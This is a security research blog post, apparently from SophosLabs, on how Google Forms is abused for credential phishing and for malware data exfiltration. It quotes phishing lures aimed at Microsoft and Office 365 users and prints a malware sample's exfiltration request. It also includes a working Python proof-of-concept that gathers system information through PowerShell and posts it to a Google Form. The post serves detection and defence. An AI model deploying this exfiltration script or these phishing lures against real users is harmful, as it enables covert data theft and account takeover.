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Earlier this year as we researched malware use of Transport Layer Security-based
communications to conceal command and control traffic and downloads, we found a
disproportionate amount of traffic going to Google cloud services. Among the destinations we
found in telemetry were a host of Google Forms pages.

The abuse of legitimate public cloud services by malware is nothing new. We’ve seen
malware use Google Docs and Google Sheets as part of their infection chain and command
and control systems in the past, much in the same way they make use of services like
GitHub, Pastebin, Telegram and Discord. In each case, malicious actors use the web-based
interfaces of the service to either retrieve stored binaries, retrieve specific data that affects
their performance, report results of execution or exfiltrate data from infected systems. Since
Google Forms are protected by TLS, the contents of data submitted to forms can’t be
checked without the use of a web proxy, and the traffic otherwise looks like legitimate
communications to a Google application.

Google Forms abuse comes in a variety of forms. In some cases, Google Forms were used
in rudimentary phishing attacks, attempting to convince victims to enter their credentials into
a form designed to look somewhat like a login page (despite Google Forms’ text on every
form warning users not to enter passwords into them). Often these forms were tied to
malicious spam campaigns.
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We also uncovered a number of malicious Android applications that made use of Google
Forms for user interface elements (though not for malicious purposes). And then there were
a few examples of malicious Windows applications that used web requests to Google Forms
pages to exfiltrate data from computers. For the purposes of demonstration, we reproduced
the exfiltration capability in a Python script using crafted web requests to push system data
to a Google spreadsheet through Forms for aggregation.

Teaching a crook to phish

Most sophisticated web phishing attacks use HTML that closely mimics the design of the
sites of the services they target. But entry-level scammers can and do use Google Forms’
ready-made design templates to attempt to steal payment data through faked “secure” e-
commerce pages, or create phishing forms that are believable if not examined too closely.

One of the largest sources of Google Forms links in spam were “unsubscribe” links in scam
marketing emails. But Sophos has intercepted a number of spam-based phishing campaigns
that targeted Microsoft online accounts, including Office 365, with the barest of efforts. The
spam claimed that recipients’ email accounts were about to be shut down if they were not
immediately verified, and offered a link to perform that verification—a Google Forms link,
leading to a form decorated with Microsoft graphics but still clearly a Google Form.

This email targeted Outlook.com and Hotmail users:

Attention : courriel externe | external email

Microsoft Account Update
Dear User

This is to notify you for the final time that we will stop processing incoming emails and PDF attachments on your account and email de-activation will take place anytime
from June 23rd to give room for our newly updated versions...

Please click the link below to update your account to avoid losing your mails:

UPDATE NOW

PLEASE NOTE: YOUR EMAIL WILL BE SHUT DOWN IF NOT UPDATED BEFORE THE STIPULATED TIME AS IT WILL BE ASSUMED AS NO LONGER IN USE.

Thank you for using our services.
‘We respect your privacy.

Best Regards
MSN 2021
unnamed 55566.png

Clicking on the “update now” link leads to this Google Form:
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Your Services Agreement./
and Privacy Statement  _\
made clearer

E-mall * *

Your answer

P-word * *

Your answer

Confirm P-word * *

Your answer

Country * *

Your answer

A similar recent spam campaign targets Office 365 users with a very bare-bones lure:
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we received a request from you
We received a request from you to terminate your Office 365 email. And this process has begun by our administrator.

If you did not authorize this action and you have no knowledge of it, you are advised to verify your account. CLICK HERE
Please give us 24 hours to terminate your account OR verifying your account

Failure to Verify will result in closure of your account.
We received a request from you to terminate.

The phishing page behind the link is similarly bare-bones:
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[J Office 365

Notice From Microsoft Outlook

Our record indicates that you recently made a request to terminate your Office 365
email. And this process has begun by our administrator.

If this request was made accidentally and you have no knowledge of it, you are advised
to verify your account.

Please give us 24 hours to terminate your account OR verifying your account

Failure to Verify will result to closure of your account

* Required

Mame *

Your answer

Office 365 Emall

Your answer

Password (Protected By Admin) *

Your answer

Re-Confirm Password (Protected By Admin) *

Your answer

sopHoslQbsS

In both cases, any data entered into these forms gets stored in a Google Sheets document,
ready for export by the phishing campaign operator. Because the links are to
docs.google.com/forms—and they say “Google Forms” at the bottom, as well as warning
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“‘Never submit passwords through Google Forms™—they are easily distinguished as scams.
Still, they apparently work frequently enough to warrant their continued use by scammers
stealing business and personal email accounts.

Malware and potentially unwanted apps

A number of likely malicious Android application packages were uncovered in our research
that use Google Forms as a way to capture data without having to code a back-end website.
Most of these were potentially unwanted apps or apps that used components associated with
Android adware, and they used Google Forms largely as part of their user-facing
functionality. For instance, SnapTube, a video app that monetizes itself for its developer
through web advertising fraud, includes a Google Forms page for user feedback:

Recommend videos to SnapTube!

Recommend the videos you like to us and we will share them with millions of SnapTubers !!

*Required
Paste the link or send the name of any good YouTube videos / playlists / channels,

and SnapTube will recommend some to millions of users! *

Your answer

Tell SnapTube what you want to watch and download, write the name of any

video here.

Your answer

Would you like to become a part of the SnapTube editor team?

sorPHOslQbs
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In these cases, the Google Forms page is displayed. However, we discovered some
potentially unwanted applications targeting Windows users that used Google Forms pages
surreptitiously, assembling web requests programmatically and sending data without user
interaction. We also found evidence of PowerShell scripts interacting with Google Forms in
our telemetry.

One sample we observed explicitly using Google Forms for data exfiltration was an
executable named checkbrowser.exe. This file was delivered from a domain that appears to
have hosted a compromised ltalian language WordPress blog (tecnopc.info). It is an AutolT
compiled script; when executed, the program modifies Windows’ certificate trust list, makes
changes related to the Remote Access Service API, and removes settings in the Windows
registry related to Internet proxy settings and other Internet security policies.

&9 Check Compatibilita

Versione Sistema operativo =  Compatibile!

Versione Internet Explorer = Compatibile!

Scarica Intemet Explarer 11

In addition to these things, the AutolT script also collects system data, including language
settings, mouse settings, and machine name. These appear to be part of sandbox evasion
and to prevent execution in certain locales. It then exports some system information through
a secure HTTP request to docs.google.com that take the format of a Google Forms
submission.
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| intercepted the request using Fiddler, and was able to get the URI for the form. A little bit of
reformatting the request provided a look at the form itself:

Mome Cliente

Mome Computer
Mome Utente

Sistema Operativo

sopHOs QLS

The fields in the form (“client name”, computer name, user name, operating system version,
Internet Explorer version) match up to the content in the POST request sent to the form:

GET /forms/d/16LSwmINnCIOAUNNOD631kiOwfe_4eu_PWMbCEI_6Uh24/formResponse?
entry.1633051194=[user name if detected]&entry.1018322823=[computer
name]&entry.328100715=[user name]&entry.1878239517=[Windows
version]&entry.1356961775=[Internet Explorer version number] HTTP/1.1

The numbers of each entry in the GET request match up to numbers associated with the
containers for each field in the remote form, as part of an array containing the parameters for
the form object.. For example, the <div> tag surrounding the entry for “client name” is:

<div jsmodel="CPloW" data-params="%.@.[321264449,'"Nome Cliente";,null,0,[[1633051194,
[],false,[]1,[],null,null, null, null, null, [null, []]1],null, null, null, []]......
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The first element of the array is the entry ID, 1633051194, which matches with the parameter
in the GET request. In the cases we observed and in our testing, the value for this field was
always “Sconosciuto” (Italian for “unknown”).

A similar strategy in another malware | found using a Russian-language Google form for
exfiltration used a curl command to execute the post, posting video adapter, screen
resolution and processor data.

Roll your own Google Forms exfiltration

To help understand how to hunt this sort of programmatic abuse of Google Forms, | decided
to do some abusing of my own. All that’s required is a burnable Google account, a purpose-
built form, and code to grab local system data and paste it into an HTML POST request.

| created a form with my Google account, and then opened the form with Firefox’s developer
tools to identify the form entry identification numbers. A

Tell me about the rabbits, George

A form for collecting information about rabbits

& &
Rabbit Name
Your answer form
- -
field id
Rabbit Size
n Your answer 4
¥ O Inspector Console [ Debugger 1) Network {3} StyleEditor () Performance #J: Mempry [ Storage - Accessibility 855 Application 0] = X
Q_ Search HTML r + A Trilter B Layout Computed Ct-
v<div class="m2" jsmodel="CPloW" data-params="%.@.[858374441, "Rabbit Name",null,1 [[1313127478, [], false, []. [T R Unpyin O Brows...
11, null, [null,[]]]1],null,null,null,[]],"i1","i2","i3", false]"> -
" . : ; i . - " e — lo
w<div class="freebirdFormviewerComponentsQuestionBaseRoot” jscontroller="sWGl4db 1 b calor
jsaction="EEvAHC:yfX%0cC;"> element @ rob(32, 33, 36)
wediv class="freebirdFormviewsrComponentsQuestionBaseHeader™= [flex L b font-family
b <div class="freebirdFormviewerComponentsQuestionBaseTitlebescContainer”s = </div= flex ¥ Roboto, RobotoDraft.
<fdiv= Inherite¢  Helwetica, Arial, sans
b =div class="freebirdFormviewerComponentsQuestionTextRoot" Jscontrnller="o[1)@(c" jsaction="rcuQ6b:vZc4s; div serif
N%Fn2a-zihfrh: Wit eFa:allidie cDuifa-d2enl de AHmimee = hREDR - "ol < fol i
£ freebirdFormviewerViewNumbereditemCo... > diwm2 > div.freebirdFormviewerCompenentsQuestion » div.freebirdFormviewerC SO PH @5 0 S
e
= o B T T .

To get the actual form submission format, | entered some tééf data and viewed the data from
Firefox’s console:
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: Form data
enkry.1313127478: "A+best”
| entry.301035952; "Size"
enktry. 16567T83446: "Nowhere"
dlut: "1631203181510"
Fuw: "1"
draftResponse: "[nullnull\"-27300443606326936254"]" The only necessary form data are the
I pageHistory: "0"
I fbzx: "-2730044360632693625"

ones named “entry.[number]” — you don’t have to include the others in your POST request.

With the proper form entry IDs identified, | wrote a quick Python script to scrape some
Windows system information and and dump it to the form. Using Python’s subprocess library,
| passed some PowerShell commands to the operating system:

import requests, o0s, sys, subprocess

resultl = subprocess.run('powershell Get-ComputerInfo "*version"',
stdout=subprocess.PIPE)

result2 = subprocess.run('powershell Get-CimInstance -ClassName
Win32_ComputerSystem', stdout=subprocess.PIPE)

result3 = subprocess.run('powershell whoami', stdout=subprocess.PIPE)
url = 'https://docs.google.com/forms/d/e/[Google Forms app ID]/formResponse’

exfil = {'entry.[first entry ID number]': resultl, 'entry.[second entry ID number]'
result2, 'entry.[third entry ID number]' : result3}

X = requests.post(url, data = exfil)
print(x.text)

The print command returns the HTML result of the POST.

The data passed to the form can be viewed in its associated spreadsheet:
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Tell me about the rabbits, George (Responses) ¥ B &
File Edit View Insert Format Data Tools Form Add-ons Help Lastedit was seconds ago

oo & B O00% ~ | § % 000123+ Default(ai. ~ 10 - B I S A & HIE- E-i-P-Y- o B@E T~
1818 - 9/9/2021 11:13.05
A B c D
1 Timestamp Rabbit Name Rabbit Size Rabbit Location

CompletedProcess(args="powershell
Get-Ciminstance -ClassName

CompletedProcess(args="powershell Get-Computerinfo "*version™, returncode=0, Win32_ComputerSystem’, returncode=0,
stdout=b"rmrinWindowsCurrentersion 6.3\r\nWindows\ersion stdout=b"\r\inName PrimaryOwner Domain
17 2009\\nBiosBIOSVersion :{BOCHS - 1j\r'\nBiosEmbeddedControllerMajorVersion TotalPhysica Model Manufacture\rin
255\rinBiosEmbeddedControllerMinorVersion : 255\rinBiosSMBIOSBIOSVersion B Name r CompletedProcess(args
1.14.0-2\r\nBiosSMBIOSMajorVersion 2\r\nBiosSMBIOSMinorVersion : rin-— - ='powershell whoami',
8\nnBiosSystemBiosMajorVersion : OrninBiosSystemBiosMinorVersion O\rn\nBiosVersion - returncode=0,
:BOCHS - 1\rinOsVersion 10.0.19042r\n0sCSDVersion : WORKGROUP 17187713024 Standard.. stdout=b'desktop-I5hifg
9/9/2021 11:11:07 \rnOsServicePackMajorVersion : 0\r'inOsServicePackMinorVersion SO\ ANiAnY) QEMU rinrnirin’y ulborisirin')
CompletedProcess(args="powershell
Get-Ciminstance -ClassName
CompletedProcess(args="powershell Get-Computerinfo "*version™, returncode=0, Win32_ComputerSystem’, returncode=0,
stdout=b\rimrnWindowsCurrentVersion 6.3\ \nWindows\ersion stdout=b\r\inName PrimaryQwner Domain
2009'\r\nBiosBIOSVersion :{BOCHS - 1}\nnBiosEmbeddedControllerMajorVersion TotalPhysica Model Manufactureirin
255\r\nBiosEmbeddedControllerMinorVersion : 255\NnBiosSMBIOSBIOSVersion 5 Name IMemary r CompletedProcess(args
1.14.0-2\r\inBiosSMBIOSMajorVersion 2\rinBiosSMBIOSMinorVersion 2 \rin-— e e e ='powershell whoami',
8\ninBiosSystemBiosMajorVersion : O\rinBiosSystemBiosMinorVersion O\nnBiosVersion ~  ———- \NNDESKTOP-LSHLF8U boris@fan... returncode=0,
:BOCHS - 1\\inOsVersion 10.0.19042\\nOsCSDVersion g WORKGROUP 17187713024 Standard... stdout=b'desktop-15hifg8
9/9/2021 11:13:05|\nnOsServicePackMajorVersion : O\inOsServicePackMinorVersion - 0\nntriniAininn’) QEMU rintrinirin’y ulborisirin')
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With just a few lines of script, | had a (very rough) functional exfiltration tool. This could easily
be executed completely in PowerShell, or in any other scripting language.

Ease of misuse

While the vast majority of Google Forms abuse remains in the low-skill phishing and fraud
spam space, the potential for its use in data exfiltration and malware command and control
remains high — if only because it is so easy to implement. While Google frequently closes
accounts associated with high-volume abuse of applications, including Forms, targeted use
of Forms by malware could go undetected.

We've seen growing abuse of Google and other legitimate cloud services by malware actors,
and it's easy to understand why: they’re widely trusted by organizations, they’re secured with
TLS, and they’re essentially free infrastructure.

Sophos products defend against most malicious spam that carry Forms-based phishing
campaigns, and detect the behaviors of system information collection and exfiltration within
the technique used in the malware and sample discussed here. But email users should
remain vigilant to attempts to use links to Google Forms (or other legitimate services) to
obtain credentials. And organizations should not inherently trust TLS traffic to “known good”
domains such as docs.google.com.

SophosLabs acknowledges Jagadeesh Chandaraiah for his contribution to this report.
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